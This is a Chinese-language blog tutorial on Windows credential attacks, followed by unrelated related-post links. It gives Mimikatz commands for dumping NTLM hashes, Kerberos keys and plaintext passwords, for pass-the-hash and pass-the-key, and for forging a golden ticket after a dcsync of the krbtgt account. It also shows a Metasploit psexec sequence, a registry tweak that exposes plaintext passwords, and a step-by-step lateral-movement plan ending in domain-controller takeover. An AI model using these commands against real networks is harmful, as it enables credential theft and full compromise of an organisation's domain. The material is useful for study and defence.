Hash(Key) 获取


  • 工具: Mimikatz
  • 用法:
.\mimikatz.exe
privilege::debug #查看权限
sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话)
sekurlsa::ekeys #获取kerberos加密凭证



Hash(Key)传递


Mimikatz

sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx  #hash传递
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key传递

Metaspolit

传递Hash

msf> use windows/smb/psexec
msf exploit(windows/smb/psexec)>set rhost a.b.c.d
msf exploit(windows/smb/psexec)>set rport 445 (139会更好一点)
msf exploit(windows/smb/psexec)>set smbuser xxxx
msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash
msf exploit(windows/smb/psexec)>set domain xxxx
msf exploit(windows/smb/psexec)>exploit

Windows NTLM哈希传递和票据的原理


Windows验证的流程

  • 1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
  • 2.客户端将username明文传输到域控机
  • 3.然后域控会随机生成16字节的challenge挑战码返回给客户端
  • 4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
  • 5.服务端将客户端发来的信息转发给域控
  • 6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。

kerberos协议认证原理

请参考我的博文Kerberos认证协议分析

Hash的利用方式

NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统,渗透方式如下:

  • 1.获得一台域主机的权限
  • 2.Dump内存获得用户hash
  • 3.通过pass the hash尝试登录其他主机
  • 4.继续搜集hash并尝试远程登录
  • 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

引用:

但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击

票据的利用方式

kerberos有两种平票据:一种是silver ticket,有账号hash加密,可以访问特定的服务;另外一种是golden ticket,可以访问域内所有服务;这个黄金票据是用kerberos账户的hash生成的,我们来看下操作:

# 1 首先我们要抓取kerboers的hash
lsadump::dcsync /domain:xxx.xxxxx /user:krbtgt
# 2 生成票据
kerberos::purge
kerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi
# 3 获取权限
kerberos::ptt administrator.kiribi
kerberos::tgt

Windows NTLM Hash和Hash传递、Key传递攻击的更多相关文章

  1. windows中抓取hash小结(上)

    我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系 ...

  2. 解决react不能往setState中传key作为参数的办法(文章最后实现了传递key做参数的办法)

    读者朋友可以直接看最后一个分割线下面的那部分!利用方括号语法来动态的访问对象的属性,实现当参数为属性名的传递; 有时候我们需要每次单独设置众多state中的一个,但是,都是进行相同的操作,这时候如果每 ...

  3. windows中抓取hash小结(下)

    书接上回,windows中抓取hash小结(上) 指路链接 https://www.cnblogs.com/lcxblogs/p/13957899.html 继续 0x03 从ntds.dit中抓取 ...

  4. Hash Map (Hash Table)

    Reference: Wiki  PrincetonAlgorithm What is Hash Table Hash table (hash map) is a data structure use ...

  5. 字符串Hash/树Hash学习笔记

    哈希 Tags:字符串 作业部落 评论地址 一.概述 百度百科: 散列表(Hash table/哈希表),是根据关键码值(Key value)而直接进行访问的数据结构. 哈希表常用于比较两个字符串是否 ...

  6. 理解--->Java中的值传递&引用传递

    转自:http://url.cn/5tL9F5D 值传递和引用传递 值传递(pass by value)是指在调用函数时将实际参数复制一份传递到函数中,这样在函数中如果对参数进行修改,将不会影响到实际 ...

  7. 对象引用 方法传参 值传递 引用传递 易错点 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  8. window.location.hash(hash应用)---跳转到hash值制定的具体页面

    location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url.而location. ...

  9. C++之值传递&指针传递&引用传递详解

    C++之值传递&指针传递&引用传递详解 目录 C++之值传递&指针传递&引用传递详解 1.函数基础 2.值传递 3.指针传递 4.引用传递 1.函数基础 一个函数由以下 ...

随机推荐

  1. git 出错 bad index file sha1 signature

    error: bad index file sha1 signature fatal: index file corrupt 解决方法:使用git命令执行: $ rm -f .git/index $ ...

  2. result源码

    CREATE TABLE `result` (`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,`thetime` CHAR(100) , `category ...

  3. .net网站建设页面提交后css失效的问题

    问题描述:.net网站建设在提交后出现css部分失效,如div位置,字体大小. 问题解决:原因是,过去的提示语句我们一律使用了Response.write("<script>al ...

  4. Thinkphp5 Route用法

    域名路由:domain 1.application/router.php 文件位置,吧一下代码放进去就可以了 use think\Route; Route::domain('app.tp5a.com' ...

  5. linux nginx配置新项目加域名

    找到nginx的配置文件 nginx/nginx.conf 第一种方,法直接在nginx.com里面配置 user www www; worker_processes auto; error_log ...

  6. 到底什么时候才需要在ObjC的Block中使用weakSelf/strongSelf

    转载,原文: http://blog.lessfun.com/blog/2014/11/22/when-should-use-weakself-and-strongself-in-objc-block ...

  7. linux下主流的三种远程技术

    远程登录操作对于租用服务器的用户来说都不陌生.特别是租用国外服务器的用户来说,更是家常便饭.通过远程登录操作,即使我们人在深圳,也能无差别的操作远在美国的服务器.而对于linux系统下的服务器,目前主 ...

  8. MySQL修改密码和忘记ROOT密码

    1.关闭数据库 脚本:[root@mysql etc]# service mysql stop 2.使用脚本: mysqld_safe --skip-grant-tables 启动数据库 使用/usr ...

  9. 理解linux 块, i节点

    https://blog.csdn.net/zdf19/article/details/54424880 https://www.cnblogs.com/hnrainll/archive/2012/0 ...

  10. 探究Visual Studio生成的.vs文件夹内部结构和作用

    https://shiyousan.com/post/636441130259624698 在某个契机的引发下,对VS解决方案中自动生成的.vs文件夹产生了兴趣,以前总对这个文件夹不怎么上心,最近正好 ...